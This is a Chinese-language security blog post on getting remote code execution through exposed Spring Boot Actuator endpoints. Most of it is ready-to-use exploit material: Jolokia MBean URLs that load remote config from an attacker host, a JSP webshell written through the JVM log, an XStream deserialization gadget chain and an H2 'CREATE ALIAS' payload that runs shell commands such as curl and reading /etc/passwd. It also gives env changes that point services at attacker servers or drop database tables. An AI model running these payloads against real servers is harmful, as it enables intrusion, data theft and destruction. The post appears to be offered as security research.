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SpringBoot Actuator some RCE

ZeanHike 珠天PearlSky 2023-01-21


Actuator

以下 Actuator 端点可能具有安全隐患：

  • /dump - 显示线程转储（包括堆栈跟踪）
  • /trace - 显示最后几个 HTTP 消息（可能包括会话标识符）
  • /logfile - 输出日志文件的内容
  • /shutdown - 关闭应用程序
  • /mappings - 显示所有 MVC controller 映射
  • /env - 提供对环境变量的访问
  • /restart - 重新启动应用程序

在Spring Boot 1-1.4版本，这些端点都是可以直接访问的，不需要认证。在Spring Boot 1.5版本后除了/health和/info这两个端点，其他的端点都默认被当做是敏感的端点，但是开发人员经常会禁用此该默认配置，从而产生安全威胁。也就是说1.5以上版本，需要在配置文件中指定：

management.endpoints.web.exposure.include=env //仅开启env endpoint
management.endpoints.web.exposure.include=* //开启所有endpoint

对于 Spring 1x，它们在url的根目录下注册，而在 2x 中，它们被移至“/actuator/”下。

Spring1.x，对请求包无明显要求，在2x中，对POST请求体要求json格式。

Actuator+Jolokia

如果使用了Jolokia库，url的根目录下会存在'/jolokia'端点。jolokia允许使用http的方式对已注册的MBean进行访问。

列出所有MBean：

http://127.0.0.1:8090/jolokia/list

ch.qos.logback.classic

其中有一个MBean（如图）ch.qos.logback.classic，也就是logback库下的reloadByURL可以造成JNDI注入

image-20230104173354148

调用该MBean

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/exp.com!/logback.xml

他会从外部URL重新加载日志配置：

  • 配置文件具有XML格式，造成无回显XXE。对于无回显XXE，可以通过将读取到的文件作为http参数请求我们的VPS服务器来将数据外带。

image-20230111175002597
  • Logback 配置具有"从 JNDI 获取变量"功能。在 XML 文件中，我们可以包含一个像<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" /> 这样的标签，env-entry-name属性的值将传递给 DirContext.lookup()方法，造成JNDI注入。

Tomcat:type=MBeanFactory/createJNDIRealm

先创建JNDIRealm

http://localhost:8080/jolokia/exec/Tomcat:type=MBeanFactory/createJNDIRealm/Tomcat:type=Engine

image-20230112175230531

设置contextFactory

http://localhost:8080/jolokia/write/Tomcat:realmPath=!/realm0,type=Realm/contextFactory/com.sun.jndi.rmi.registry.RegistryContextFactory

设置connectionURL

http://localhost:8080/jolokia/write/Tomcat:realmPath=!/realm0,type=Realm/connectionURL/rmi:!/!/localhost:1097!/Object

然后触发LifecycleBase.start()方法

http://localhost:8080/jolokia/exec/Tomcat:realmPath=!/realm0,type=Realm/stop
http://localhost:8080/jolokia/exec/Tomcat:realmPath=!/realm0,type=Realm/start

然后在JNDIRealm.open()方法里触发后续操作，造成JNDI注入

image-20230112181630215

Tomcat:type=MBeanFactory/createStandardHost

涉及到tomcat的lifecycle设计，整个调用链路如下（从下往上）：

start:1550, HostConfig (org.apache.catalina.startup)
lifecycleEvent:284, HostConfig (org.apache.catalina.startup)
fireLifecycleEvent:94, LifecycleBase (org.apache.catalina.util)
setStateInternal:395, LifecycleBase (org.apache.catalina.util)
setState:339, LifecycleBase (org.apache.catalina.util)
ContainerBase.startInternal()
StandardHost.startInternal()
LifecycleBase.start()
ContainerBase.addChildInternal()
ContainerBase.addChild()
StandardEngine.addChild()
MBeanFactory.createStandardHost() 

最关键的是，在给Engine添加Host时，会调用Host的生命周期方法start()

image-20230113114050275

做完start前的工作后，状态自动由STARTING_PREP->STARTING，在ContainerBase的startInternal()中设置STARTING状态

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image-20230113115544855

image-20230113115513658

image-20230113115707420

然后由监听器HostConfig处理start事件。

image-20230113113006331

在start事件中部署web应用。

可以设置war包路径为UML路径，但是这只适用于Windows，然后部署我们自己可控的war包。下面是exp：

http://localhost:8080/jolokia/exec/Tomcat:type=MBeanFactory/createStandardHost/Tomcat:type=Engine/test2/!\!\192.168.1.1!\test/true/true/true/true

还有一个用处是创建虚拟主机，路径设置为服务器根目录，就可以读取任意文件了，配合Java Flight Recorder （JFR，java自带监控JVM性能的工具）写入JSP文件，达到RCE。这个没复现成功。

com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd

可读取任意文件

http://localhost:8080/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/D:!/Users!/lixuyong!/Documents!/GitHub!/java-sec-code!/target!/classes!/create_db.sql

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com.sun.management:type=DiagnosticCommand/vmLog

配置日志文件属性，可以通过写文件进行RCE。

//1.设置日志文件
http://localhost:8080/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/output=!/opt!/apache-tomcat-9.0.16!/webapps!/ROOT!/1.jsp
//2.执行一个不存在的操作，触发错误，写入日志文件
http://localhost:8080/jolokia/win<% Runtime.getRuntime().exec(new String[] { "sh", "-c", "id>!/tmp!/id.out" }); %>win
//3.禁用日志输出，防止文件过大
http://localhost:8080/jolokia/exec/com.sun.management:type=DiagnosticCommand/vmLog/disable
//4.访问webshell
http://localhost:8080/1.jsp

还有一个是com.sun.management:type=DiagnosticCommand/jvmtiAgentLoad，这个MBean可以用来加载动态链接库文件。

还有一些使用Jsr160RequestDispatcher.java类中的dispatchRequest方法的MBean例如java.lang:type=Memory/HeapMemoryUsage和java.lang:type=Threading/ThreadCount可以造成JNDI注入，但是在新版jdk已经没有了Jsr160RequestDispatcher这个类。

使用com.sun.management:type=HotSpotDiagnostic/dumpHeap进行内存转储，转储到Web根目录，然后进行读取分析内存文件。

当然暴露出来的MBean肯定还会有许多可以造成RCE，而在jolokia库官方建议中表明不要公开暴露endpoint，所以这些归咎于开发人员有没有将jolokia暴露出来，也算是一个配置不当的问题。

Actuator+Spring Cloud

eureka.client.serviceUrl.defaultZone

通过“/env”修改环境变量

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://my.com/n/xstream

将eureka注册中心的地址设置成我们的eureka服务器，这种情况下，需要客户端使用了eureka

1.eureka-client的起步依赖 Eureka-Client <1.8.7
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-netflix-eureka-client</artifactId>
<version>1.4.0.RELEASE</version>
</dependency>
2.开启eureka客户端功能，自动注册和发现微服务
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.netflix.eureka.EnableEurekaClient;

@SpringBootApplication
@EnableEurekaClient
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}

利用xstream反序列化漏洞，我们的eureka服务器的n目录下提供xml文件

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

然后使用“/refresh”端点进行刷新。

spring.cloud.bootstrap.location

通过“/env”修改环境变量

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://my.com/yaml-payload.yml

当从远程服务器获取 YAML 配置时，它会使用 SnakeYAML 库进行解析，造成反序列化漏洞。

然后调用“/refresh”端点进行刷新

默认Actuator

spring.datasource.hikari.connection-test-query

Spring Boot 2.x 默认使用HikariCP数据库连接池，HikariCP帮助应用程序与数据库通信，它引入了这样一个变量spring.datasource.hikari.connection-test-query，他是用来当你与数据库连接池连接时，确定这个数据库是否存活所执行的查询。简而言之，每当创建新的数据库连接时，spring.datasource.hikari.connection-test-query的值将首先作为 SQL 查询执行。

有两种方法可以触发新的数据库连接：

  1. 通过请求POST /actuator/restart重新启动应用程序；
  2. 更改数据库连接数并通过向应用程序发出多个请求来初始化它；

通过H2的SQL命令：CREATE ALIAS，与 PostgreSQL 的用户自定义函数类似，您可以定义一个Java函数，然后像调用函数一样在 SQL 查询中调用它。

POST /actuator/env HTTP/1.1

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream());  if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('curl  http://xxx.com');"

如果查询失败，应用程序将认为数据库不可达，不再返回其他数据库查询。如果目标机器不出网，使用这样的命令curl http://xxx.com会失败，此时可以运行grep root /etc/passwd。这将返回输出（因为/etc/passwd确实包含root字符串），因此查询成功，该应用程序将继续正常运行。如果运行grep nonexistent /etc/passwd，查询失败，命令不返回任何输出，Java代码抛出错误，导致应用程序失败。

curl -X 'POST' -H 'Content-Type: application/json' 'http://localhost:8080/actuator/restart'

其他危害较大但无法RCE的漏洞

以下都是POST请求/env端点

spring.datasource.tomcat.validationQuery=drop+table+users

执行SQL语句

spring.datasource.tomcat.url =jdbc:hsqldb:https://localhost:3002/xdb

修改数据库连接信息，对于已经启动的应用无效

spring.datasource.tomcat.max-active =777

修改最大活跃数，这个配合上面修改数据库连接信息，在高负载下，会使用我们的数据库连接。

spring.datasource.url - 数据库连接信息（仅用于第一次连接）

spring.datasource.jndiName - 数据库 JNDI 字符串（仅用于第一次连接）

spring.datasource.tomcat.dataSourceJNDI - 数据库 JNDI 字符串（根本不使用）

spring.cloud.config.uri = http://artsploit.com/ - spring cloud config url（应用启动后没有任何效果，仅使用初始值。）

可以使用“/restart”端点重启应用，使上面配置生效。但是默认该端点是禁用的。

Reference

  • Exploiting Spring Boot Actuators
  • Get shells with JET, the Jolokia Exploitation Toolkit
  • Attack Spring Boot Actuator via jolokia Part 2
  • Actuators to RCE


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